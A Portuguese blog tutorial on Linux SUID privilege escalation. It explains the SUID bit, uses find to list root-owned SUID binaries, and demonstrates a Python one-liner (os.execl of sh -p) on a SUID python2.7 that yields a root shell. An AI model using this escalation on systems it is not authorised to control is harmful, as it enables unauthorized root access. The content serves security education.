- Published on
SUID Privilege Escalation
- Authors
- Name
- ReddyyZ
- @ReddyyZ_
Privilege escalation é uma vulnerabilidade que permite que o hacker consiga elevar seus privilégios, obtendo acesso à recursos protegidos.
Neste artigo, vou explicar e demonstrar como escalonar seus privilégios através do SUID.
Table of Contents
SUID Privilege Escalation
O que é o SUID
BIT SUID é uma permissão especial que faz com que quando um arquivo seja executado, este tenha as mesmas permissões do usuário proprietário deste arquivo. O que permite que outros usuários sejam tratados como root (ou algum outro usuário), ao executar o arquivo.
Vamos a um exemplo:
O root é dono de um arquivo que executa o comando passado por argumento, este arquivo tem o bit SUID, e todos os usuários tem permissão de executá-lo. Caso um usuário comum use esse script para executar um comando, esse comando será executado como root devido ao bit SUID.
Encontrando arquivos com o bit SUID
Agora que já entendemos como funciona o bit SUID, vamos encontrar arquivos com o bit SUID e que o dono seja o root.
Para isso usaremos uma ferramenta que já vem com o linux chamada find, vamos ao comando.
find / -user root -perm /4000 2>/dev/null
Explicando o comando:
Especifica o dono do arquivo -user root
Procura por arquivos com o bit SUID -perm /4000
Esconde os erros 2>/dev/null
Resultado:
reddyyz@fsociety~$ find / -user root -perm /4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/chromium/chrome-sandbox
/usr/lib/xorg/Xorg.wrap
/usr/libexec/spice-client-glib-usb-acl-helper
/usr/share/code/chrome-sandbox
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
/usr/sbin/pppd
/usr/bin/mount
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/python2.7
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/vncserver-x11
/usr/bin/kismet_cap_linux_wifi
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/ntfs-3g
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/Xtightvnc
/home/reddyyz/VMWARE/vmware-tools-distrib/lib/bin64/vmware-user-suid-wrapper
/home/reddyyz/VMWARE/vmware-tools-distrib/lib/bin32/vmware-user-suid-wrapper
Esses são todos os arquivos com permissão SUID que o dono é o root.
Encontrando e explorando um privilege escalation
Olhando esses arquivos, um que chama atenção é o /usr/bin/python2.7
.
Vamos verficiar se existe algum exploit conhecido para o python no GTFOBins, site com várias formas de privilege escalation.
Encontramos uma forma de escalar nossos privilégios!
Vamos executar o comando python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
reddyyz@fsociety:~$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
#
Conseguimos escalar nossos privilégios com sucesso para root!